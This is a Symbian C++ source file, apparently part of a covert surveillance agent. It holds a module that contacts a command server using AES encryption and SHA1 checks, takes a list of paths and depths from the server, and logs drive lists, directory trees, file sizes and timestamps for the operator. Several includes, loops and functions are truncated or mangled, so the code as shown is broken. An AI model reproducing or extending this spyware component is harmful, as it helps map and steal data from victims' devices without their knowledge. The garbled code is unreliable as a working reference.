/* * StateFileSystem.cpp * * Created on: 19/feb/2011 * Author: Giovanna */ #include "StateFileSystem.h" #include "Keys.h" #include #include #include #include #include #define LOG_FILESYSTEM_VERSION 2010031501 #define FILESYSTEM_IS_DIRECTORY 1 #define FILESYSTEM_IS_EMPTY 2 typedef struct TFilesystemData { TUint32 uVersion; TUint32 uPathLen; TUint32 uFlags; TUint32 lowFileSize; TUint32 highFileSize; TUint32 lowDateTime; TUint32 highDateTime; TFilesystemData() { uVersion = LOG_FILESYSTEM_VERSION; uFlags = 0; lowFileSize = 0; highFileSize = 0; lowDateTime = 0; highDateTime = 0; } } TFilesystemData; CStateFileSystem::CStateFileSystem(MStateObserver& aObserver) : CAbstractState(EState_FileSystem, aObserver) { // No implementation required } CStateFileSystem::~CStateFileSystem() { delete iRequestData; delete iResponseData; delete iLogFs; iFs.Close(); } CStateFileSystem* CStateFileSystem::NewLC(MStateObserver& aObserver) { CStateFileSystem* self = new (ELeave) CStateFileSystem(aObserver); CleanupStack::PushL(self); self->ConstructL(); return self; } CStateFileSystem* CStateFileSystem::NewL(MStateObserver& aObserver) { CStateFileSystem* self = CStateFileSystem::NewLC(aObserver); CleanupStack::Pop(); // self; return self; } void CStateFileSystem::ConstructL() { iFs.Connect(); iLogFs = CLogFile::NewL(iFs); } void CStateFileSystem::ActivateL(const TDesC8& aData) { //Save the sign key iSignKey.Copy(aData); TBuf8<32> plainBody(KProto_FileSystem); _LIT8(KZero,"\x00\x00\x00\x00"); plainBody.Append(KZero); // calculate SHA1 TBuf8<20> sha; ShaUtils::CreateSha(plainBody,sha); //append SHA1 plainBody.Append(sha); //encrypt RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey)); buff.CleanupClosePushL(); //add REST header HBufC8* header = iObserver.GetRequestHeaderL(); TBuf8<32> contentLengthLine; contentLengthLine.Append(KContentLength); contentLengthLine.AppendNum(buff.Size()); contentLengthLine.Append(KNewLine); iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size()); iRequestData->Des().Append(*header); delete header; iRequestData->Des().Append(contentLengthLine); iRequestData->Des().Append(KNewLine); iRequestData->Des().Append(buff); CleanupStack::PopAndDestroy(&buff); iObserver.SendStateDataL(*iRequestData); } void CStateFileSystem::ProcessDataL(const TDesC8& aData) { //free resources delete iRequestData; iRequestData = NULL; if(aData.Size()!=0) { if(iResponseData == NULL) { iResponseData = aData.AllocL(); } else { TInt size = iResponseData->Size(); iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check the result of allocation iResponseData->Des().Append(aData); } return; } if(iResponseData->Find(KApplicationOS)==KErrNotFound) { //server answered with a redirect iObserver.ResponseError(KErrContent); return; } //extract body from response RBuf8 body(CRestUtils::GetBodyL(*iResponseData)); body.CleanupClosePushL(); RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey)); CleanupStack::PopAndDestroy(&body); plainBody.CleanupClosePushL(); //check sha1 if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20))) { CleanupStack::PopAndDestroy(&plainBody); iObserver.ResponseError(KErrSha); return; } //check response if(plainBody.Left(4).Compare(KProto_Ok) == 0) { //log required iLogFs->CreateLogL(LOGTYPE_FILESYSTEM); LogFilesystemL(plainBody.Right(plainBody.Size()-8)); //8=KProto_Ok|len iLogFs->CloseLogL(); } CleanupStack::PopAndDestroy(&plainBody); iObserver.ChangeStateL(); } /* * Log the required paths. * aPathList: * numDir | depth1 | dir1 | depth2 | dir2 | ... * # numDir: numero di coppie depth e dir da leggere, INT * # depth(n): profondita' di ricerca della directory ennesima, INT * # dir(n): percorso della directory ennesima, UTF16-LE PASCAL Null-Terminated */ void CStateFileSystem::LogFilesystemL(const TDesC8& aPathList) { //retrieve the num of required dir TUint8* ptr = (TUint8 *)aPathList.Ptr(); TUint32 numDir = 0; Mem::Copy(&numDir, ptr, 4); ptr += sizeof(TUint32); for(TInt i=0; i 0) { TUint8 totChars = (len-2) / 2; TPtr16 ptrNum((TUint16 *) ptr, totChars, totChars); path->Des().Append(ptrNum); } ptr += len; //log tree LogTreeL(iFs,*path,level); } } //TODO: verify all this! check error conditions! void CStateFileSystem::LogDrives(RFs& aFs) { //this is the special case: we are asked the drive list //any byte in the drive list which has a non zero value signifies //that the corresponding drive exists. The byte's value can be used to retrieve //the drive's attributes by using a bitwise AND with the corresponding drive attribute constant. _LIT(KNull,"\x00"); _LIT(KFormat,"%c:"); TDriveList driveList; TInt err = aFs.DriveList(driveList); if(err != KErrNone) return; //log drives for(TInt driveNumber=EDriveA; driveNumber<=EDriveZ; driveNumber++) { if (driveList[driveNumber]) /** now we iterate through all the available drives */ { TChar driveLetter; err = aFs.DriveToChar(driveNumber,driveLetter); TBuf<8> buf; buf.Format(KFormat,(TUint)driveLetter); buf.Append(KNull); //NULL terminated HBufC8* rootBuf = GetDriveBuffer(buf); if(rootBuf->Size()>0) { CleanupStack::PushL(rootBuf); iLogFs->AppendLogL(*rootBuf); CleanupStack::PopAndDestroy(rootBuf); } } } } void CStateFileSystem::LogTreeL(RFs& aFs,const TDesC& aPath, TInt aLevel) { //check if we are asked for availables drives _LIT(KSlash,"/"); if(aPath.CompareF(KSlash) == 0) { LogDrives(aFs); return; } //else we are asked for path and level RPointerArray pathList; //remove asterisk _LIT(KAsterisk,"*"); TInt pos = aPath.Find(KAsterisk); if(pos == KErrNotFound) { return; } HBufC* path = aPath.Left(pos).AllocL(); pathList.AppendL(path); _LIT(KBackSlash,"\\"); for(TInt i=0;iCount(); TInt dirCount = dirList->Count(); //log found files for(TInt j=0;j 0) { iLogFs->AppendLogL(buf); } CleanupStack::PopAndDestroy(&buf); } //log & append dir for(TInt k=0;k 0) { iLogFs->AppendLogL(buf); } CleanupStack::PopAndDestroy(&buf); //append HBufC* subDirBuf = HBufC::NewL(pathList[i]->Size() + (*dirList)[k].iName.Size() +1); TPtr subDirPtr(subDirBuf->Des()); subDirPtr.Copy(*(pathList[i])); subDirPtr.Append((*dirList)[k].iName); subDirPtr.Append(KBackSlash); pathList.AppendL(subDirBuf); } CleanupStack::PopAndDestroy(2); //dirList,fileList } //delete already scanned dir for(TInt i=0;i> 32); fsData.lowDateTime = (filetime & 0xFFFFFFFF); //file size in bytes fsData.lowFileSize = aEntry.iSize; fsData.highFileSize = 0; //pathlen fsData.uPathLen = aEntry.iName.Size()+aParentPath.Size(); buffer->InsertL(buffer->Size(),&fsData,sizeof(fsData)); buffer->InsertL(buffer->Size(),(TUint8 *)aParentPath.Ptr(),aParentPath.Size()); buffer->InsertL(buffer->Size(),(TUint8 *)aEntry.iName.Ptr(),aEntry.iName.Size()); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; } HBufC8* CStateFileSystem::GetDriveBuffer(const TDesC& aDrivePath) { TFilesystemData fsData; CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); //path is a directory fsData.uFlags=1; //pathlen fsData.uPathLen = aDrivePath.Size(); buffer->InsertL(buffer->Size(),&fsData,sizeof(fsData)); buffer->InsertL(buffer->Size(),(TUint8 *)aDrivePath.Ptr(),aDrivePath.Size()); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; } .